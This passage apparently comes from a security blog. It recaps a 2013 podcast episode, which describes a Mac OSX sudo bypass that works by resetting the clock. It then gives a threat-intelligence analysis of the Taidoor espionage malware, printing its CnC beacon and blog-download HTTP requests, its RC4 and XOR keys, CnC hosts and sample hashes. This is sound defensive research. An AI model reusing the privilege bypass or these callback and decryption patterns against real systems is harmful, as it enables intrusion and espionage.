great milkshake, go to a milkshake joint. However in our jobs, we are the burgers and fries and chicken and fish and milkshakes and we're expected to be perfect at all of them. Anyway, it's an interesting take.

Do you have a Web site? No? Ok, then you're probably safe. Robert "Rsnake" Hansen put together an infographic about all the different things that you need to worry about today when securing your web site. It started out as a joke but then got a bit too close to reality and finally just got head-shakingly scary.

Finally, if you haven't already, check to see if your web site is "locked." Simply do a whois on your site and see if you have at a minimum a status of "ClientTransferProhibited." Some have said the recent NY Times hack was able to happen because the domain was not locked and the Syrian Electronic Army (SEA) was able to get the DNS credentials from someone and then change the DNS records to their own server. But if your DNS is locked, it'll take a bit more work to make the updates. Your registrar will go through additional validation steps before the DNS records are updated. This is likely enough that if someone is looking to hijack web sites, they'll realize yours isn't worth the both and move on to an easier target. With Congress possibly authorizing an attack on Syria and with the twelfth anniversary of the September 11, 2001 attacks upcoming, it would not be surprising to see another round of attacks on web infrastructure. So take this very easy step and protect your site.

Enumerating a Domain Using ASDI in PowerShell, Drunken Security News – Episode 343 – August 29, 2013

Carlos Perez is also known as @DarkOperator, He spends his time reverse engineering, and practicing PowerShell Kung-Fu. Known by his motto "Shell is only the Beginning".

The show was missing its usual sunshine and unicorns as Jack was unable to attend the show but fear not, Paul and Larry took us all through the stories of the week!

First, Larry found an article telling us why we should never trust geolocation values. The article talks about how the major geolocators (Google and Apple) will keep a database of where wifi hotspots exist and their mapping systems use these known values. But what if one of those "known values" moves? What if a hotspot that was in downtown Providence gets moved to Paris? We'd probably have another person drive their car into the ocean! But the part that Larry is talking about that he'd like to get is actually the reverse. Rather than knowing where the hotspots are and get an address back, have a way to submit the address and get a list of known hotspots in the area.

Stop us if you've heard this one before...there's a Java 0-day in the wild. Well, at least this one was for Java 6. Worried about how to remedy this? Wondering when the patch will be released? Well, it kind of has, it's called "upgrade to Java 7" which then throws a gray area into the whole "it's a 0-day" thing.

Ok, so here is the reason that we listen to the stories of the week. The experience that Paul and Larry have in the business is priceless in itself so when a story can spin off into an interesting story from the field, it's worth *at least* what you pay for the show. Paul tells us about WebAntix, a shell script that someone wrote that uses a Nessus NBE to take a list of URLs and go take a screenshot of each site and create a web site with those screenshots. Really useful on a pentest, right? Paul also mentions how Tim (@LaNMaSteR53) had written something similar called Peeping Tom. But what got spurred on here is Larry's story about a pentest that he was on. He was using a tool to spider through the client's site and realizing it was going to take a while, he went to lunch. In the meantime, the tool hit a page that it couldn't authenticate into. The tool didn't know when to quit and it would continue to try the page, failing each time. With each failure, a new log entry was created. However the company had a log watcher that would send an email to many people on each individual failed auth. 1.2 million emails later, the Exchange server was dead.

There's also this BYOD thing. Employers are wrestling with this problem in how they deal with employees bringing in their own laptops, mobile devices, tablets and who knows what else. Paul talks about how back in the days when Jack was probably only middle-aged, you could go to work at a place like IBM and they'd supply you with a far more expensive, far more powerful machine than you could probably afford on your own. So you almost looked forward to going to work just to use this souped up computer. Here lies the BYOD problem for businesses. On one hand, they can save money knowing that people have all this stuff on their own and they're going to use it so there's no longer a need to buy them the latest and greatest super strong computer. But, can that also be used in the reverse? What if a business wants to fight the whole BYOD thing by putting people back on super strong machines to where they won't even want to bring their own in anymore? It may be an interesting thought, but it really isn't going to keep the leakiest of machines out of the office, also known as the mobile phone.

How about if you ever need to get sudo on a Mac OSX machine and don't have the password? As long as someone has ever successfully done a sudo on the machine, you can simply do a sudo -k in the Terminal window, set the date back to the epoch and voila, you now have sudo on that machine. Or simply use Dave Kennedy's python script to do it all for you. Ok, this is one where I have to tell a story of my own. One time in a job, someone emailed me about how to get elevated privileges on a machine and I wrote back in email that he should go ask the system admin team for sudo access. Well, apparently he thought I was an idiot or didn't know how to spell or something because he promptly wrote to the unix administrator and said that I suggested he ask for some kind of "pseudo-access" to the box. Much laughter ensued.

What good would it be if I simply recap the whole show for you. Of course we want you to listen, so let's go quick with a few more. You can use an unauthenticated API to access some functions and interact with a Tesla automobile. The Register is telling us that the Poison Ivy RAT is the AK-47 of attacks. Learn to break Android apps with tutorials and sample sites for learning! An ISP was caught tracking mouse clicks! The horrors! Well, they were tracking where users were clicking on their support page. I can at least see the defense here. They wanted to know how effective their support page was and whether people were able to quickly and easily find the right answers, and where they were clicking around on the screen, hopefully in an attempt to make it more efficient. At least that's the story I'd believe.

Interview with Matt from BruCON, Inerview with Ira Winkler – Episode 343 – August 29, 2013

Matt is a long time volunteer of BruCON and is going to let us know all the great things in store for 2013.

Ira Winkler, CISSP is President of Secure Mentem. Ira is one of the foremost experts in the human elements of cyber security and is known for the extensive espionage and social engineering simulations that he has conducted for Fortune 500 companies globally, and has been named a "Modern Day James Bond" by the media.

Evasive Tactics: Taidoor

The Taidoor malware has been used in many ongoing cyber espionage campaigns. Its victims include government agencies, corporate entities, and think tanks, especially those with interests in Taiwan. [1] In a typical attack, targets receive a spear-phishing email which encourages them to open an attached file. If opened on a vulnerable system, malware is silently installed on the target’s computer while a decoy document with legitimate content is opened that is intended to alleviate any suspicions the target may have. Taidoor has been successfully compromising targets since 2008, and continues to be active today.

Despite being around for a long time – and quite well known – Taidoor is a constantly evolving, persistent threat. We observed significant tactical changes in 2011 and 2012, when the malicious email attachments did not drop the Taidoor malware directly, but instead dropped a “downloader” that then grabbed the traditional Taidoor malware from the Internet. [2]

Recently, we observed a new variant of Taidoor, which was used in targeted attacks. It has evolved in two ways. Instead of downloading the traditional Taidoor malware from a command-and-control (CnC) server, the “downloader” reaches out to Yahoo Blogs and retrieves encrypted text from blog posts. When decrypted by the “downloader”, this text is actually a modified version of the traditional Taidoor malware. This new version of Taidoor maintains similar behavior, but has been changed enough to avoid common network detection signatures.

Traditional Taidoor Malware

The Taidoor malware is traditionally delivered as an email attachment. If opened, the Taidoor malware is dropped onto the target’s system, and starts to beacon to a CnC server. Taidoor connects to its CnCs using HTTP, and the “GET” request has been consistent since 2008. It follows a simple pattern:

GET /[5 characters].php?id=[6 numbers][12 characters/numbers]

The last set of 12 characters is actually the encrypted MAC address of the compromised computer. The values of the MAC address are incremented by 1, and this is used as an RC4 key to encrypt the data that is passed between the compromised computer and its CnC server.

The New Taidoor

In the past, other APT campaigns have used blog hosting platforms as a mechanism to transmit CnC server information to compromised targets. [3] Attackers using Taidoor have leveraged this model as well.

We analyzed a sample (be1d972819e0c5bf80bf1691cc563400) that when opened exploits a vulnerability in Microsoft Office (CVE-2012-0158) to drop malware on the target’s computer.

taidoor1

The decoy document contains background information on trade liberalization between the People’s Republic of China (PRC) and Taiwan.

The various strings in the file are XOR-encoded with the key "0x02" or "0x03".

taidoor2

This malware is a simple “downloader” that, instead of connecting to a CnC server, connects to a Yahoo Blog and downloads the contents of a blog post.

 

GET /jw!JRkdqkKGAh6MPj9MlwbK6iMgScE- HTTP/1.1

Accept: /

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

Accept-Encoding: gzip, deflate

Host: tw.myblog.yahoo.com

Connection: Keep-Alive

 

taidoor3

The content of the blog post between the markers “ctxugfbyyxyyyxyy” and “yxyyyxyyctxugfby” is encoded with base64 and encrypted using the RC4 cipher. The encryption key, which we discovered to be "asdfasdf", is also present in the contents of the base64 blog data in an encrypted form. The decrypted content of the blog post is a DLL file – that is in fact the Taidoor malware.

taidoor4

After the first-stage dropper downloads and decrypts the Taidoor malware, it then begins to connect to two CnC servers: roudan.serveftp.com (69.95.218.31) and mac.gov.hpc.tw (120.50.40.145). However, the network traffic (its “callback”) has been modified from the traditional version.

 

GET /default.jsp?vx=vsutnh191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: mac.gov.hpc.tw:443

Connection: Keep-Alive

Cache-Control: no-cache

 

Rather than having “[five characters].php”, this new file path ends in “.jsp” and may have any of the following file names:

  • process
  • page
  • default
  • index
  • user
  • parse
  • about
  • security
  • query
  • login

The new format is:

/[file name].jsp?[2 random characters]=[6 random characters][encrypted MAC address]

In addition to the use of other malicious Word documents (b0fd4d5fb6d8acb1ccfb54d53c08f11f), we have also seen this new Taidoor variant distributed as a Windows ScreenSaver file (.scr) posing as a PDF (d9940a3da42eb2bb8e19a84235d86e91) or a Word document (c4de3fea790f8ff6452016db5d7aa33f).

taidoor5a

taidoor5b

taidoor5c

It remains unclear whether all of this Taidoor activity is related or different groups are using the same malware for different purposes. The fact that Taidoor is not off-the-shelf malware that can simply be downloaded or purchased in the cybercrime underground suggests that all of this activity may be connected in some way.

taidoorclusters2

So far, we have found only one large cluster of activity associated with this new Taidoor variant. This cluster, which made use of Yahoo Blogs, appears to have targeted entities in Taiwan. We found that traditional versions of Taidoor have also been using this infrastructure. [4]

Malware Connections

We found that another, possibly related, malware family known as “Taleret” is using the same technique that this Taidoor variant has used. We found that samples (such as 6cd1bf0e8adcc7208b82e1506efdba8d, 525fd346b9511a84bbe26eb47b845d89 and 5c887a31fb4713e17c5dda9d78aab9fe) connect to Yahoo Blogs in order to retrieve a list of CnC servers.

taidoor9

The content between the two markers “XXXXX” is encoded with base64 and encrypted with the RC4 cipher. The encryption key is “c37f12a0” in hex, and hardcoded in the malware.

taidoor10

We extracted the following CnC servers from these blog posts:

  • opp.gov.taiwans.tw
  • nscnet.gov.medicare.tw
  • mac.gov.skies.tw
  • klserver.servehttp.com
  • kllserver.serveftp.com
  • 202.142.153.154
  • 80.149.239.139
  • 202.142.172.131
  • www.facebook.trickip.NET
  • www.braintrust.AlmostMy.COM

As with Taidoor, there appears to be a frequent association with Taiwan, in addition to a similar CnC naming scheme – such as mac.gov.hpc.tw (Taidoor) and mac.gov.skies.tw (Taleret).

Conclusion

The Taidoor malware has been used to successfully compromise targets since 2008. This threat has evolved over time, and has recently leveraged Yahoo Blogs as a mechanism to drop the Taidoor malware as a “second stage” component. In addition, the well-known Taidoor network traffic pattern has been modified, likely as a new way to avoid network-based detection.

Notes

1. http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf

2. http://blog.trendmicro.com/trendlabs-security-intelligence/taidoor-update-taidoor-gang-tags-its-victims/ and http://about-threats.trendmicro.com/us/spam/222/A%20Malware%20Treat%20this%20Halloween

3. http://www.nartv.org/mirror/shadows-in-the-cloud.pdf and reports of associated malware here http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/ and here http://www.cybersquared.com/apt_targetedattacks_within_socialmedia/

4. MD5 hashes of traditional Taidoor samples 811aae1a66f6a2722849333293cbf9cd 454c9960e89d02e4922245efb8ef6b49 5efc35315e87fdc67dada06fb700a8c7 bc69a262bcd418d194ce2aac7da47286